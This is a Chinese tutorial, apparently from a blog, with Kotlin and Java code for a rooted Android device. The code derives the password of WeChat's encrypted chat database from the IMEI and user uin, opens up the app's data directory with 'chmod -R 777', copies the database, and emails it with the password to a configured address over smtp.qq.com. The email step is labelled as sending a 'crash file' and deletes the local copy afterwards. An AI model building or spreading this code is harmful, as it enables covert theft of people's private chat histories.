实验软件 :Android Studio
实验设备:Root过的真机一部或者夜神模拟器
测试效果
废话不多说 直接上代码
获取手机微信数据库目录并发送邮件
class CoreService : IntentService("CoreService") {
private val WX_ROOT_PATH = "/data/data/com.tencent.mm/" // 微信根目录
private val WX_SP_UIN_PATH = "${WX_ROOT_PATH}shared_prefs/auth_info_key_prefs.xml" // 微信保存uin的目录
private val WX_DB_DIR_PATH = "${WX_ROOT_PATH}MicroMsg/" // 微信保存聊天记录数据库的目录
private val WX_DB_FILE_NAME = "EnMicroMsg.db" // 微信聊天记录数据库
private val WX_FILE_PATH = "/storage/emulated/0/Tencent/micromsg/" // 微信保存聊天时语音、图片、视频文件的地址
// private val currApkPath = "/data/data/com.dfsc.wechatrecord/"
private val currApkPath = "/storage/emulated/0/"
private val COPY_WX_DATA_DB = "wx_data.db"
private var uin = ""
private var dbPwd = "" // 数据库密码
private lateinit var userInfo: UserInfo // 用户
private var uinEnc = "" // 加密后的uin
@SuppressLint("MissingPermission")
override fun onHandleIntent(intent: Intent?) {
// 获取数据库密码 数据库密码是IMEI和uin合并后计算MD5值取前7位
// 获取imei
val manager = getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManager
val imei = manager.deviceId
// 修改微信根目录读写权限
try {
ShellCommand.shellCommand("chmod -R 777 $WX_ROOT_PATH")
// 获取uin
val doc = Jsoup.parse(File(WX_SP_UIN_PATH), "UTF-8")
val elements = doc.select("int")
elements
.filter { it.attr("name") == "_auth_uin" }
.forEach { uin = it.attr("value") }
if (uin.isEmpty()) {
toast("当前没有登录微信,请登录后重试")
return
}
// 获取数据库密码
log("imei密码:$imei")
log("uin密码:$uin")
dbPwd = MD5.getMD5Str(imei + uin).substring(0, 7)
log("数据库密码:$dbPwd")
FileUtils.writeLog(this, "数据库密码:$dbPwd\n")
} catch (e: Exception) {
log("破解数据库失败:${e.message}")
FileUtils.writeLog(this, "破解数据库失败:${e.message}\n")
toast("破解数据库失败:${e.message}")
}
// 获取当前微信登录用户的数据库文件父级文件夹名(MD5("mm"+uin) )
uinEnc = MD5.getMD5Str("mm$uin")
log("当前微信用户数据库文件父级文件名:$uinEnc")
// 递归查询微信本地数据库文件
val dbDir = File(WX_DB_DIR_PATH + uinEnc)
log("微信数据库文件目录:$dbDir")
val list = FileUtils.searchFile(dbDir, WX_DB_FILE_NAME)
for (file in list) {
val copyFilePath = currApkPath + COPY_WX_DATA_DB
log("微信数据库文件路径:${file.absolutePath}")
try {
// 将微信数据库拷贝出来,因为直接连接微信的db,会导致微信崩溃
FileUtils.copyFile(file.absolutePath, copyFilePath)
// 打开微信数据库
// openWXDB(File(copyFilePath), dbPwd)
sendCrashFile(copyFilePath,dbPwd)
} catch (e: Exception) {
log("复制数据库失败:${e.message}")
FileUtils.writeLog(this, "复制数据库失败:${e.message}\n")
toast("复制数据库失败:${e.message}")
}
}
}
private fun sendCrashFile(fileName: String,content: String) {
if (!Util.fileIsExists(fileName))
return
Thread(Runnable {
val isSuccess = Util.sendEmail(fileName,content)
Looper.prepare()
if (isSuccess) {
Util.delFile(fileName)
Toast.makeText(applicationContext, "crash文件发送成功!", Toast.LENGTH_LONG).show()
} else {
Toast.makeText(applicationContext, "crash文件发送失败!", Toast.LENGTH_LONG).show()
}
Looper.loop()
}).start()
}
}
邮件发送配置为你的邮箱发件人和收件人
public class Util {
/**
* 发送邮件的方法
* @return
*/
public static boolean sendEmail(String fileName,String content){
MailSenderInfo mailInfo = new MailSenderInfo();
mailInfo.setMailServerHost("smtp.qq.com"); //其他邮箱修改这个地址
mailInfo.setMailServerPort("25");
mailInfo.setValidate(true);
mailInfo.setUserName("[email protected]"); //你的邮箱地址
mailInfo.setPassword("xxxxx");// 您的邮箱密码
mailInfo.setFromAddress("[email protected]"); //发送邮箱
mailInfo.setToAddress("[email protected]"); //收件人邮箱
mailInfo.setSubject("微信数据库密码"+content);
mailInfo.setContent("微信数据库密码");
// 这个类主要来发送邮件
return sendTextMail(mailInfo,fileName);
}
/**
* 以文本格式发送邮件(带附件)
* @param mailInfo 待发送的邮件的信息
*/
private static boolean sendTextMail(MailSenderInfo mailInfo,String fileName) {
// 判断是否需要身份认证
MyAuthenticator authenticator = null;
Properties pro = mailInfo.getProperties();
if (mailInfo.isValidate()) {
// 如果需要身份认证,则创建一个密码验证器
authenticator = new MyAuthenticator(mailInfo.getUserName(), mailInfo.getPassword());
}
// 根据邮件会话属性和密码验证器构造一个发送邮件的session
Session sendMailSession = Session.getDefaultInstance(pro,authenticator);
try {
// 根据session创建一个邮件消息
Message mailMessage = new MimeMessage(sendMailSession);
// 创建邮件发送者地址
Address from = new InternetAddress(mailInfo.getFromAddress());
// 设置邮件消息的发送者
mailMessage.setFrom(from);
// 创建邮件的接收者地址,并设置到邮件消息中
Address to = new InternetAddress(mailInfo.getToAddress());
mailMessage.setRecipient(Message.RecipientType.TO,to);
// 设置邮件消息的主题
mailMessage.setSubject(mailInfo.getSubject());
// 设置邮件消息发送的时间
mailMessage.setSentDate(new Date());
// 设置邮件消息的主要内容
String mailContent = mailInfo.getContent();
mailMessage.setText(mailContent);
/**
* 以下内容是:发送邮件时添加附件
*/
if (fileName != null) {
FileDataSource fileDataSource = new FileDataSource(fileName); //打开要发送的文件
MimeBodyPart attachPart = new MimeBodyPart();
attachPart.setDataHandler(new DataHandler(fileDataSource));
attachPart.setFileName(fileDataSource.getName());
MimeMultipart allMultipart = new MimeMultipart("mixed"); //附件
allMultipart.addBodyPart(attachPart);//添加
mailMessage.setContent(allMultipart); //发邮件时添加附件
}
// 发送邮件
Transport.send(mailMessage);
return true;
} catch (MessagingException ex) {
ex.printStackTrace();
}
return false;
}
/**
* 判读文件是否存在
* @return
*/
public static boolean fileIsExists(String fileName){
try{
File file = new File(fileName);
if(!file.exists())
return false;
else
return true;
}catch (Exception e) {
e.printStackTrace();
return false;
}
}
public static void delFile(String fileName) {
try{
File file = new File(fileName);
if(!file.exists())
return;
file.delete();
}catch (Exception e) {
e.printStackTrace();
}
}
}
至此就可以通过页面点击发送邮件了